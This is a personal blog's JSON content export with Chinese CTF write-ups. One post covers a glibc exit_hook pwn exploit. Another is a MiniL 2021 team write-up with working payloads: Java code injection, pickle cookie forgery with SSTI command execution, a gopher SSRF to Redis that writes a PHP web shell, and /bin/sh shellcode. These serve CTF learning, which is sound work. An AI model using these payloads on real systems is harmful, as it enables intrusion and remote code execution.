-
Notifications
You must be signed in to change notification settings - Fork 0
/
content.json
1 lines (1 loc) · 189 KB
/
content.json
1
{"meta":{"title":"BlackBird's Blog","subtitle":"一个每天努力的菜鸡","description":"这世界上所有的不利状况,都是当事者能力不足导致的","author":"BlackBird","url":"http://example.com","root":"/"},"pages":[{"title":"","date":"2021-02-21T08:26:00.649Z","updated":"2021-02-21T08:26:00.649Z","comments":true,"path":"404.html","permalink":"http://example.com/404.html","excerpt":"","text":"404 很抱歉,您访问的页面不存在 可能是输入地址有误或该地址已被删除"},{"title":"BlackBird","date":"2021-02-20T02:40:14.000Z","updated":"2021-02-20T02:41:36.303Z","comments":true,"path":"bb/index.html","permalink":"http://example.com/bb/index.html","excerpt":"","text":""},{"title":"","date":"2021-02-21T04:38:58.484Z","updated":"2021-02-21T04:38:58.484Z","comments":true,"path":"about/index.html","permalink":"http://example.com/about/index.html","excerpt":"","text":""},{"title":"所有分类","date":"2021-02-20T14:10:21.000Z","updated":"2021-02-21T04:40:10.573Z","comments":true,"path":"categories/index.html","permalink":"http://example.com/categories/index.html","excerpt":"","text":""},{"title":"archives","date":"2021-02-20T14:11:05.000Z","updated":"2021-02-20T14:16:59.263Z","comments":true,"path":"archives/index.html","permalink":"http://example.com/archives/index.html","excerpt":"","text":""},{"title":"我的朋友们","date":"2021-02-20T14:10:45.000Z","updated":"2021-02-21T04:41:32.053Z","comments":true,"path":"friends/index.html","permalink":"http://example.com/friends/index.html","excerpt":"","text":""},{"title":"所有标签","date":"2021-02-20T14:10:34.000Z","updated":"2021-02-21T04:40:02.498Z","comments":true,"path":"tags/index.html","permalink":"http://example.com/tags/index.html","excerpt":"","text":""}],"posts":[{"title":"PWN学习—exit_hook-偷家","slug":"PWN学习—exit-hook-偷家","date":"2021-05-20T10:02:49.000Z","updated":"2021-05-21T13:50:05.621Z","comments":true,"path":"2021/05/20/PWN学习—exit-hook-偷家/","link":"","permalink":"http://example.com/2021/05/20/PWN%E5%AD%A6%E4%B9%A0%E2%80%94exit-hook-%E5%81%B7%E5%AE%B6/","excerpt":"","text":"PWN学习—exit_hook—悄无声息地偷家概述在linux下进程最后的最后的最后都是调用exit函数来结束进程,换而言之,所有程序都会调用exit函数。所以针对exit函数的攻击的适用范围也就更加广泛,更加重要。只要能掌控exit函数,那么便掌控了整个进程。 原理在程序执行exit函数的时候hook掉它,hook成我们想要的函数,我们便可以控制程序的执行。 先了解一下什么是hook技术:函数指针,可以修改。 那么如何实现exit_hook? 先看一下exit函数源码(/glibc2.23/stdlib/exit.c): 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101/* Copyright (C) 1991-2016 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sysdep.h>#include "exit.h"#include "set-hooks.h"DEFINE_HOOK (__libc_atexit, (void))/* Call all functions registered with `atexit' and `on_exit', in the reverse of the order in which they were registered perform stdio cleanup, and terminate program execution with STATUS. */voidattribute_hidden__run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit){ /* First, call the TLS destructors. */ #ifndef SHARED if (&__call_tls_dtors != NULL) #endif __call_tls_dtors (); /* We do it this way to handle recursive calls to exit () made by the functions registered with `atexit' and `on_exit'. We call everyone on the list and use the status value in the last exit (). */ while (*listp != NULL) { struct exit_function_list *cur = *listp; while (cur->idx > 0){ const struct exit_function *const f = &cur->fns[--cur->idx]; switch (f->flavor){ void (*atfct) (void); void (*onfct) (int status, void *arg); void (*cxafct) (void *arg, int status); case ef_free: case ef_us: break; case ef_on: onfct = f->func.on.fn; #i`fd`ef PTR_DEMANGLE PTR_DEMANGLE (onfct); #endif onfct (status, f->func.on.arg); break; case ef_at: atfct = f->func.at; #i`fd`ef PTR_DEMANGLE PTR_DEMANGLE (atfct); #endif atfct (); break; case ef_cxa: cxafct = f->func.cxa.fn; #i`fd`ef PTR_DEMANGLE PTR_DEMANGLE (cxafct); #endif cxafct (f->func.cxa.arg, status); break; } } *listp = cur->next; if (*listp != NULL) /* Don't free the last element in the chain, this is the statically allocate element. */ free (cur); } if (run_list_atexit) RUN_HOOK (__libc_atexit, ()); _exit (status);}voidexit (int status){ __run_exit_handlers (status, &__exit_funcs, true);}libc_hidden_def (exit) 先看void exit函数,调用__run_exit_handlers函数,__run_exit_handlers的定义就在上面。然后我们动态调试下,看他具体实现过程。 我们调试看看exit在执行的时候调用那些函数: 对应上了源码,exit函数调用__run_exit_handlers那一段,然后进入这个函数我们先查看它进行的所有call: exit函数先调用__run_exit_handler,然后在__run_exit_handler函数里面调用了 __call_tls_dtors、_dl_fini、_IO_cleanup、_exit函数,最后是在_exit函数里面利用系统调用结束程序。 下来逐个分析它调用的函数: __call_tls_dtors 查了查资料,这个函数与TLS(Thread Local Stroage)相关,准确说,它是TLS的一个析构函数。 _dl_fini 这个函数定义在/glibc2.23/elf/dl_fini.c: …… 发现代码好长……还是动态调调吧~ 这个函数中先后调用:rtld_lock_default_lock_recursive、_dl_sort_map、rtld_lock_default_unlock_recursive、__do_global_dtors_aux、_fini 这里用gdb不是很好看,我们用pwntools+IDA进行调试是很明显可以看出这里的rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive是利用函数指针实现的: 网上又查了查才知道存储rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive的地方是一个函数指针结构体,可以在pwndbg中用p指令查看: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251pwndbg> p _rtld_global$1 = { _dl_ns = {{ _ns_loaded = 0x7ffff7ffe170, _ns_nloaded = 4, _ns_main_searchlist = 0x7ffff7ffe428, _ns_global_scope_alloc = 0, _ns_unique_sym_table = { lock = { mutex = { __data = { __lock = 0, __count = 0, __owner = 0, __nusers = 0, __kind = 1, __spins = 0, __elision = 0, __list = { __prev = 0x0, __next = 0x0 } }, __size = '\\000' <repeats 16 times>, "\\001", '\\000' <repeats 22 times>, __align = 0 } }, entries = 0x0, size = 0, n_elements = 0, free = 0x0 }, _ns_debug = { r_version = 0, r_map = 0x0, r_brk = 0, r_state = RT_CONSISTENT, r_ldbase = 0 } }, { _ns_loaded = 0x0, _ns_nloaded = 0, _ns_main_searchlist = 0x0, _ns_global_scope_alloc = 0, _ns_unique_sym_table = { lock = { mutex = { __data = { __lock = 0, __count = 0, __owner = 0, __nusers = 0, __kind = 0, __spins = 0, __elision = 0, __list = { __prev = 0x0, __next = 0x0 } }, __size = '\\000' <repeats 39 times>, __align = 0 } }, entries = 0x0, size = 0, n_elements = 0, free = 0x0 }, _ns_debug = { r_version = 0, r_map = 0x0, r_brk = 0, r_state = RT_CONSISTENT, r_ldbase = 0 } } <repeats 15 times>}, _dl_nns = 1, _dl_load_lock = { mutex = { __data = { __lock = 0, __count = 0, __owner = 0, __nusers = 0, __kind = 1, __spins = 0, __elision = 0, __list = { __prev = 0x0, __next = 0x0 } }, __size = '\\000' <repeats 16 times>, "\\001", '\\000' <repeats 22 times>, __align = 0 } }, _dl_load_write_lock = { mutex = { __data = { __lock = 0, __count = 0, __owner = 0, __nusers = 0, __kind = 1, __spins = 0, __elision = 0, __list = { __prev = 0x0, __next = 0x0 } }, __size = '\\000' <repeats 16 times>, "\\001", '\\000' <repeats 22 times>, __align = 0 } }, _dl_load_adds = 4, _dl_initfirst = 0x0, _dl_cpuclock_offset = 21967126905434, _dl_profile_map = 0x0, _dl_num_relocations = 88, _dl_num_cache_relocations = 3, _dl_all_dirs = 0x7ffff7ffec90, _dl_rtld_map = { l_addr = 140737351856128, l_name = 0x400238 "/lib64/ld-linux-x86-64.so.2", l_ld = 0x7ffff7ffce68, l_next = 0x0, l_prev = 0x7ffff7`fd`9000, l_real = 0x7ffff7f`fd`9f0 <_rtld_global+2448>, l_ns = 0, l_libname = 0x7ffff7ffe030 <_dl_rtld_libname>, l_info = {0x0, 0x0, 0x7ffff7ffcee8, 0x7ffff7ffced8, 0x7ffff7ffce78, 0x7ffff7ffce98, 0x7ffff7ffcea8, 0x7ffff7ffcf18, 0x7ffff7ffcf28, 0x7ffff7ffcf38, 0x7ffff7ffceb8, 0x7ffff7ffcec8, 0x0, 0x0, 0x7ffff7ffce68, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7ffcef8, 0x0, 0x0, 0x7ffff7ffcf08, 0x0 <repeats 12 times>, 0x7ffff7ffcf58, 0x7ffff7ffcf48, 0x0, 0x0, 0x7ffff7ffcf78, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7ffcf68, 0x0 <repeats 25 times>, 0x7ffff7ffce88}, l_phdr = 0x7ffff7dd3040, l_entry = 0, l_phnum = 7, l_ldnum = 0, l_searchlist = { r_list = 0x0, r_nlist = 0 }, l_symbolic_searchlist = { r_list = 0x0, r_nlist = 0 }, l_loader = 0x0, l_versions = 0x7ffff7`fd`98d0, l_nversions = 6, l_nbuckets = 17, l_gnu_bitmask_idxbits = 3, l_gnu_shift = 8, l_gnu_bitmask = 0x7ffff7dd32d8, { l_gnu_buckets = 0x7ffff7dd32f8, l_chain = 0x7ffff7dd32f8 }, { l_gnu_chain_zero = 0x7ffff7dd3338, l_buckets = 0x7ffff7dd3338 }, l_direct_opencount = 0, l_type = lt_library, l_relocated = 1, l_init_called = 1, l_global = 1, l_reserved = 0, l_phdr_allocated = 0, l_soname_added = 0, l_faked = 0, l_need_tls_init = 0, l_auditing = 0, l_audit_any_plt = 0, l_removed = 0, l_contiguous = 0, l_symbolic_in_local_scope = 0, l_free_initfini = 0, l_rpath_dirs = { dirs = 0x0, malloced = 0 }, l_reloc_result = 0x0, l_versyms = 0x7ffff7dd3914, l_origin = 0x0, l_map_start = 140737351856128, l_map_end = 140737354129776, l_text_end = 140737351992656, l_scope_mem = {0x0, 0x0, 0x0, 0x0}, l_scope_max = 0, l_scope = 0x0, l_local_scope = {0x0, 0x0}, l_file_id = { dev = 0, ino = 0 }, l_runpath_dirs = { dirs = 0x0, malloced = 0 }, l_initfini = 0x0, l_reldeps = 0x0, l_reldepsmax = 0, l_used = 1, l_feature_1 = 0, l_flags_1 = 0, l_flags = 0, l_idx = 0, l_mach = { plt = 0, gotplt = 0, tlsdesc_table = 0x0 }, l_lookup_cache = { sym = 0x7ffff7dd3480, type_class = 1, value = 0x7ffff7`fd`9000, ret = 0x7ffff79e70e8 }, l_tls_initimage = 0x0, l_tls_initimage_size = 0, l_tls_blocksize = 0, l_tls_align = 0, l_tls_firstbyte_offset = 0, l_tls_offset = 0, l_tls_modid = 0, l_tls_dtor_count = 0, l_relro_addr = 2266752, l_relro_size = 2432, l_serial = 0, l_audit = 0x7ffff7f`fd`e60 <_rtld_global+3584> }, audit_data = {{ cookie = 0, bindflags = 0 } <repeats 16 times>}, _dl_rtld_lock_recursive = 0x7ffff7dd40e0 <rtld_lock_default_lock_recursive>, _dl_rtld_unlock_recursive = 0x7ffff7dd40f0 <rtld_lock_default_unlock_recursive>, _dl_make_stack_executable_hook = 0x7ffff7de6ea0 <__GI__dl_make_stack_executable>, _dl_stack_flags = 6, _dl_tls_dtv_gaps = false, _dl_tls_max_dtv_idx = 1, _dl_tls_dtv_slotinfo_list = 0x7ffff7`fd`9960, _dl_tls_static_nelem = 1, _dl_tls_static_size = 4160, _dl_tls_static_used = 144, _dl_tls_static_align = 64, _dl_initial_dtv = 0x7ffff7`fd`ae10, _dl_tls_generation = 1, _dl_init_static_tls = 0x7ffff7ddf780 <_dl_nothread_init_static_tls>, _dl_wait_lookup_done = 0x0, _dl_scope_free_list = 0x0} 我们只要修改这个指针就可以实现exit函数hook了(这么长一个结构体,是不是都能hook……我瞎想的…… 现在知道了原理,我们要hook的话还需要知道rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive的偏移: libc2.23下偏移为0×5f0040,两个hook的偏移为3848和3850 libc2.27下偏移为0×61b060,两个hook的偏移为3840和3848 _IO_cleanup 这个看名称很明显是清理缓冲区,把缓冲区中的东西该输入输入该输出输出(感觉主要是把缓冲区没有输出的东西输出到stdout……具体这里做了什么工作以及功能不是很大清楚,只是之前在做题的时候遇到一个问题: get_started_3dsctf_2016: 在进行栈溢出后,一般rop链最后的返回地址都是胡写的……一般都是0xdeadbeaf,然而这样子构造的话,flag是没有输出的。但是如果最后的返回地址写exit函数的话,就有输出,原理就是exit函数里面调用了\\_IO\\_cleanup函数,清理了缓冲区 example ciscn 2021pwny就用最新的题来说吧…… 主函数: 初始化函数: 这里将fd设为random并且存到bss上,然后就是两个功能函数: 再看一下write_self函数在bss段上的储存: 这里数据储存没有进行边界检查,所以我们可以通过控制Index进行任意地址读和任意地址写……但是由于fd的缘故,我们无法控制输入。现在只要能把输入修改成stdin也就是加bss端上存储的fd修改为0,那么我们便可以拿到shell…… 我们如果在read的时候让程序用随机数修改bss段上的fd,那么基本上肯定的是程序无法修改后的fd中读取到信息。把如果我们这个时候强行读数据呢?我们写个例子看一下: 由此我们可以知道read函数在从未定义的fd读取数据的时候会读到寂寞然后返回-1,并不会crash。 那我们从write_self函数很明显就能发现如果我们修改了fd,然后再用修改后的fd读数据修改fd,那么此时的v2就没有变化还是0直接赋值给bss段上的fd,fd就会变为0。 此时我们才算实现了任意地址任意写。 我们发现主函数的结束使用exit函数实现的……它是不是在暗示我们什么 所以我们的思路就是先修改fd为0,再任意地址读获取libc_base,然后再任意地址写来实现hook exit函数。 还有一点需要注意的就是在实现任意地址读的时候需要算偏移,注意以下代码: exp: 12345678910111213141516171819202122232425262728293031323334353637from pwn import*p=process(['./pwny'],env={"LD_PRELOAD":"./libc-2.27.so"})context.log_level='debug'def write(index,second): p.recvuntil('Your choice: ') p.sendline('2') p.recvuntil('Index: ') p.sendline(str(index)) if second != 'null': p.sendline(second)def read(index): p.recvuntil('Your choice: ') p.sendline('1') p.recvuntil('Index: ') p.sendline(index) p.recvuntil('Result: ') #`fd`_urandom=0write(256,'null')write(256,'null') #两遍读修改`fd`为0read(p64(0xFFFFFFFFFFFFFFFA))libc_base=int(p.recv(12),16)-0x3EBA00print('libc_base',hex(libc_base))read(p64(0xFFFFFFFFFFFFFFF5))base=int(p.recv(12),16)-0x202008print('base',hex(base))dl_rtld_unlock_recursive=libc_base+0x61BF68index=(dl_rtld_unlock_recursive-(base+0x202060))//8one_gadget=libc_base+0x10a428write(index,p64(one_gadget))gdb.attach(p)p.interactive()","categories":[{"name":"CTF学习笔记","slug":"CTF学习笔记","permalink":"http://example.com/categories/CTF%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}],"tags":[{"name":"CTF","slug":"CTF","permalink":"http://example.com/tags/CTF/"},{"name":"PWN","slug":"PWN","permalink":"http://example.com/tags/PWN/"}],"author":"BlackBird"},{"title":"2021MiniL 7!u!w","slug":"MiniL-7-u-w","date":"2021-05-13T03:47:18.000Z","updated":"2021-05-13T12:07:53.293Z","comments":true,"path":"2021/05/13/MiniL-7-u-w/","link":"","permalink":"http://example.com/2021/05/13/MiniL-7-u-w/","excerpt":"","text":"MiniLURL:https://ctf.xidian.edu.cn/#/indexTeam:7!u!wMembers:Noah && Wanan && BBStart Time: 5.06 20:00End Time: 5.12 20:00 WEBWEB1-easy_java | Worked: Wanan&NoahPayload1http://8a9b571f-0700-4244-98e6-df5692c7de61.web.woooo.tech//?code=(new java.io.BufferedReader(new java.io.FileReader("/flag"))).readLine() WEB2-L inc. | Worked: Wanan&Noah预期解base64解码后,将序列化字符串中的NEWFALSE(0x89)修改为NEWTRUE(0x88),即可以正常登录。 使用pickle和pickletools进行序列化与反序列化。 登陆后用户名处存在SSTI,将用户名修改为注入payload。 EXP1234567891011121314151617181920212223242526272829303132# WEB2-1.pyfrom base64 import b64encode as beimport requestsimport reurl = input("\\033[1;34m[^_^] ? Input Target Url: \\033[0m") + "home"while True: code = "{{" + input("\\033[1;34m[^_^] > \\033[0m").replace("\\"", "\\'") + "}}" code_len = hex(len(code))[2:] if len(code_len) > 2: print("\\033[1;31m[x_x] ! Code length limit breakthrough, limit: 0xff.\\033[0m") if len(code_len) == 1: code_len = "0" + code_len code_len = r"\\x" + code_len basestr = [r"\\x80\\x04\\x95/\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x03app\\x94\\x8c\\x04User\\x94\\x93\\x94)\\x81\\x94}\\x94(\\x8c\\x04name\\x94\\x8c", r"\\x94\\x8c\\x03vip\\x94\\x88ub."] payload = "b\\"" + basestr[0] + code_len + code + basestr[1] + "\\"" # print(eval(payload)) payload_b = be(eval(payload)).decode() header = { "Cookie": "user=" + payload_b, } try: response = requests.get(url=url, headers=header) pattern = re.compile(r'<h1>Hello, dear ([\\w\\W]*)</h1>') result = re.search(pattern, response.text) if result: print(result.group(1)) else: print("\\033[1;31m[x_x] ! Error, no response context find.\\033[0m") except requests.ConnectionError: print("\\033[1;31m[x_x] ! Error, examine your network connection.\\033[0m") 非预期猜测flag在/flag,手写opcode将用户名处写成flag然后回显出来 123456789101112131415161718# WEB2-2.pyimport appimport base64data = b"""cappUser(c__builtin__getattrp0(c__builtin__open(S'/flag'tRS'read'tRp1)RI01tR."""print(base64.b64encode(data)) 12345# app.pyclass User(object): def __init__(self, name, vip): self.name = name self.vip = vip 学会了怎么手写opcode,收获颇丰 WEB3-template | Worked: Wanan&Noah先手动去了个混淆,发现对花括号和百分号的过滤在前端,直接向/build发请求即可,然后就是ssti过滤的绕过 去混淆后的JS代码: 12345678910111213141516171819202122232425262728293031323334353637// script.jsfunction abc(a, b) { var la = a['length']; var lb = b['length']; var ans = []; for (var i = 0; i < lb; i++) { ans[i] = String.fromCharCode(a[i % la].charCodeAt(0) ^ b[i].charCodeAt(0)); } return ans['join']('');};function de(a1, a2) { return abc(a1, atob(a2));};function submit() { var input = document.getElementById('code')['value']; if (input.search('{|}|%') !== -1) { alert('hack!!!!!'); } else { var key = abc('xdsecminil', input); var XMLResponce = new XMLHttpRequest(); XMLResponce.open('POST', '/build', true); XMLResponce.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); var data = 'data=' + btoa(key); XMLResponce.send(data); XMLResponce.onreadystatechange = function () { if (XMLResponce.status === 200) { document.getElementById('result').innerText = XMLResponce.responseText; } else { alert("request error"); } }; } ;} EXP1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950from base64 import b64decode as bdfrom base64 import b64encode as beimport requestsimport timedef abc(a, b): len_a = len(a) len_b = len(b) result = "" for i in range(len_b): result += chr(ord(a[i % len_a]) ^ ord(b[i])) return resultdef de(a, b): return abc(a, bd(b))def get_key(a): return be(abc("xdsecminil", a).encode())url = input("\\033[1;34m[^_^] ? Input Target Url: \\033[0m") + "build"while True: code = input("\\033[1;34m[^_^] > \\033[0m") if code == "BRUTE": for p in range(0, 200): pcode = r'{{""["__cla""ss__"]["__ba""se__"]["__subcl""asses__"]()[' + str(i) + r']["__in""it__"]["__glo""bals__"]["__buil""tins__"]["eval"]("__import__(\\"o\\"\\"s\\")")["popen"]("cat /fl""ag")["read"]()}}' data = { "data": get_key(pcode).decode(), } response = requests.post(url=url, data=data) if "500" in response.text: print("\\033[1;31m[x_x] @", p, " is not correct.\\033[0m") else: print("\\033[1;33m[@_@] Probably find flag.\\033[0m") print("\\033[1;33m", response.text, "\\033[0m") break time.sleep(0.2) else: key = get_key(code).decode() data = { "data": key, } response = requests.post(url=url, data=data) if "500 Internal Server Error" in response: print("\\033[1;31m[x_x] Execute Error.\\033[0m") else: print(response.text) WEB4-protocol | Worked: Wanan&Noah随便输一个地址进去,发现访问了相应的网页。 后来换了环境,无法访问外网。 测试一下,发现file://、127.0.0.1和localhost都被过滤了。 file://的过滤可以用file:+绝对路径的方式绕过,127.0.0.1的过滤可以用0.0.0.0来绕过。 payload:url=file:/var/www/html/index.php 在网页源码中看到php源码: 12345678910111213141516171819202122232425262728293031323334353637<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Title</title></head><body> <a>访问点东西?</a><br/><br/> <div> <form action="index.php" method="POST" > <input type="text" name="url" placeholder="Your url" /> </form><br/> </div></body></html><?phpfunction curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); echo curl_exec($ch); curl_close($ch);}if(isset($_POST['url'])){ $url = $_POST['url']; if(preg_match('/file\\:\\/\\/|dict|\\.\\.\\/|127.0.0.1|localhost/is', $url,$match)) { die('这样子可不行哦'); } curl($url);}if(isset($_POST['minisecret'])){ system('ifconfig eth1');}?> 过滤了file://、dict、../、127.0.0.1 和localhost。 POST传参,看到网络参数: 1234567eth1: flags=4163 mtu 1450 inet 172.192.15.2 netmask 255.255.255.0 broadcast 172.192.15.255 ether 02:42:ac:c0:0f:02 txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 发现这是一个内网环境下的主机,所在网段为172.192.74.0/24。 试了一下,发现172.192.15.3也开着http服务。并且有提示:flag就在这台机子上面,可是你怎么获得呢? 手动尝试ssrf常攻击的几个端口,发现6379上起了redis服务,然后拿gopherus生成payload直接打redis``,把/flag写入shell.php,因为lt师傅过滤了../所以直接猜flag在/flag,拿到flag payload1url=gopher://127.192.15.3:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A MISCMISC1-好白给的签到题 | Worked: NoahEXP123456789101112131415161718from base64 import b64decode as bdwhile True: fin = open("story.txt", "rb") data = fin.read() fin.close() try: data_ = bd(data) data_.decode("utf-8") except Exception: data_ = bd(data[::-1]) if "{" in data_.decode(): print(data_.decode()) break fout = open("story.txt", "wb") print(data_) fout.write(data_) fout.close() MISC2-抓猫猫 | Worked: Wanan&Noahk倍博弈。 将每次cdcq取完后剩下的猫猫数量转成2进制,取走当前可取数量下的全部的二进制1。 即保证cdcq每次抓猫猫都会从二进制0位借位。 MISC3-好康的硬盘 | Worked: Wanan&Noah拿到压缩包,解压之后拿到一个文本文档和一个rar压缩包。 txt是经过隐写的:Unicode Steganography with Zero-Width Characters 提取后拿到解压密码的hint:minil****。 用rar2john提取hash,然后用hashcat进行掩码爆破,因为爆破全字符集太慢了,于是试了一下仅数字,运气好,爆出来了:minil4396。 解压之后拿到硬盘镜像,用X-ways Forensics或火眼取证导出其中的视频文件和txt。 视频文件拆分帧,找到7张有数字的聊天记录。 1ffmpeg -i inputfile.avi -r 1 -f png %d.png txt是一堆奇怪的英文。这个txt题目是奇怪的邮件,把内容全部往谷歌里一丢,找到垃圾邮件隐写。 在这可以解密,需要密码,密码就是图片里的数字,附件更新之后拿到密码为7355608。即可解出flag。 MiniLCTF{n3ver_g0nna_L3t_Y0u_dowN} MISC4-Recombination | Worked: Noah拿到压缩包,试图解压发现提示有密码。winrar还提示rar文件头损坏。 学习一下rar的文件头格式: rar文件头 发现文件头外存在一个CRC校验信息,进行校验,CRC不一致。 在010的模板中的struct RarBlock block[0] > struct FileHeadBlock file > struct WinFileAttrs Attributes > uint32 ENCRYPTED处进行修改。 再次解压,成功得到flag文件内容: 167535629127067535629127067535629127067535629127067535629127067535629127067535629127067535629127069504871727229504871727229504871727229504871727229504871727229504871727229504871727229504717272229189643338604189643388044189643880444189643800444189643800444189648000444896648000444896680000444856640046267556640462265556644662655556644626655556644626655556644266655566444266655566442666655562264128892882264188992822261888928222261888928222261888928222261888928222611888928222618888928222490201962120490209622120902009621200902096211200920962112000920621112000206621112000266211112000298858437138098858371138098558371380098558313380095588313800095588133800055888133000055881333000054636334439724636344339724636344397224636343997224363343972224363339972223633339922223633399922223443860892231443868922231443868922311443889223111438889231111438892311111388923111111388931111111324165785927324165785927324165785927324165785927324165785927324165785927324165785927324167859273328488387524508488387524508488387524508488387524508488387524508488387524508488387524508488387524508521309913458521309913485221309913485221309913485221309934852213099334852213093334852213093334852202490120063902490120039024490120039024490120039024490120339024490200339024490000339024490000339022905041793622905041736229055041736229550417362295550417362295550473362295550433362295550433362295231874163855231874138555218774138555188774138555888774138555888771338555888773338555888773338555893138793884093138738884093387738884933387388884933887388849338873888849388738888849387388888493380269308765240269387652402693877652426698777522426988777522426988775522269988755522269887555222669449672101377449621013774496210113774996100137749961100137749961101337799661103337999661103337999674371396420274313996420274313964420243319644202233319642002233319422002333319222022333319222022331779798898051797998898051797998988051979989880519979989805199799898805197998988055197998988055197406022843111406022843111406022843111406022843111406022843111406022843111406022843111406022843111498622523273998622523273998622523273998622523273998622523273998622523273998622523273998622523273997809521327337809521373377809521373377809521373377809521373377809521373377095521373377095521373377124901443251124901432511124901432511124901432511124901432511124901432511249011432511249011432511267882138935467882138954667882138956678821338956678821338956678821338956788813338956788813338956789735041941439735041944399735041943999735019443999735019443999735019443997735194443997735194443997272016194996272016194962272016194962722016194962722016194962722016194627722011944627722011944627761782965943761782965937661782965937667822965937667822965937667822965376678229653776678229653776677689639697567689639695677689639695677686399695677686399695677686399956776863999567776863999567776572744056004572744056045572744050455572740500455577405004555577405045555577405045555577405045555587101079076987101090769871101090768711010900768711109007687711109076687711109076677111109076677113238052515113238052515113238052515113238052515113238052515113238052515113238052515113238052515113878052857257878052857257878052857257878052857257878052857257878052857257878052857257878052857257876818937270676818937270676818937270676818937270676818937270676818937270676818937270676818937270670169705132990169705132990169705132901697051329016697051320166997051321669997051321699970511321699230507280235230507280235230507280252305072802523005072802230055072802300555072802300555028802300510723328716110723287716110723287711110723287711100723287711007723287710077723287710077722887710074999503704944999537004449995337004449995337004499995337004999995337004999995337004999995377004999530661828543530668288435306682288435306682284355306682284353006682284330006682284330006622884330096464542097796464420977796464420977796464429777796464429777966464429779666464429779666464297779669920073976499920039776499920039776499920037766499920037766999920037766999920037766999920377766999272282621608272286211608272286211608272282111608272282111608272282111608272282111608272221111608284257389119984257891119984257891119984258911119984258911119984258911119984258911119984259111119981491797144281491771444281491771444281497711444281497711444814497711444144497711444144497111444144795289282054795282822054795282822054792822822054792822822047992822822079992822822079928228822079994184177940894184177940894184177940894184177940894184177940894184177940894184177940894184177940897494468598527494468598527494468598527494468598527494468598527494468598527494468598527494468598527 尝试了转16进制,shellcode等常规操作。 然而还是想不到是什么编码或者加密。 后来在一篇DASCTF三月赛的WP中看到关于aa3d的内容,后来又搜到了ByteCTF 2020 Misc WP,感觉字符串的重复情况相当类似。 于是下载了aa3d,查看使用方式,发现可以输出纯数字版本的字符画。试着生成了一个,发现与题目中的字符串格式完全相同: 126753562912706356291270635356291270635356291270635356291270635356291270635356291268843149206868843149206868843149206868843149206868843149206868843149206868843149 字符串长度为4559,正好分解为47*97的矩阵。 放在记事本里,截图。将截图用stegsolve打开,使用Analyze>Stereogram Solver,调整图片位移,看到flag: PWNPWN1-shellcode | Worked: BB1234567891011121314151617181920212223242526272829303132333435# PWN1.pyfrom pwn import *context(arch = 'amd64',os='linux',log_level = 'debug')p = process('./shellcode_loader')#p = remote('pwn.woooo.tech',10266)gdb.attach(p,"b *$rebase(0x1232)")shellcode = ''' mov rax, qword ptr[rsp + 0x50]; jmp rax;'''shellcode2 =''' xor rbx,rbx; mov rax, qword ptr[rbp + 0x58]; jmp rax;'''shellcode3 = ''' lea rdi, qword ptr[rsp + 0x70]; push rbx; pop rsi; push rsi; pop rdx; push rdx; pop rax; mov al, 59; syscall;'''shellcode = asm(shellcode) + b'//bin/sh'shellcode2 = asm(shellcode2)shellcode3 = asm(shellcode3)p.send(shellcode)p.sendline(shellcode2)p.sendline(shellcode3)p.interactive() 没有操作数的指令 1个字节 操作数只涉及寄存器的的指令 2个字节如:mov bx,ax 操作数涉及内存地址的指令 3个字节如:mov ax,ds:[bx+si+idata] 操作数涉及立即数的指令指令长度为:寄存器宽度+18位寄存器,寄存器类型=1,如:mov al,8;指令长度为2个字节16位寄存器,寄存器类型=2,如:mov ax,8;指令长度为3个字节 跳转指令分为2种情况: 段内跳转指令长度为2个字节或3个字节 jmp指令本身占1个字节 段内短转移,8位位移量占一个字节,加上jmp指令一个字节,整条指令占2个字节如:jmp short opr 段内近转移,16位位移量占两个字节,加上jmp指令一个字节,整条指令占3个字节如:jmp near ptr opr 段间跳转 指令长度为5个字节如:jmp dword ptr table[bx][di]或 jmp far ptr opr或 jmp dword ptr opr inc指令占用一个字节 push指令占用一个字节 segment声明占用两个字节如codesg segment int 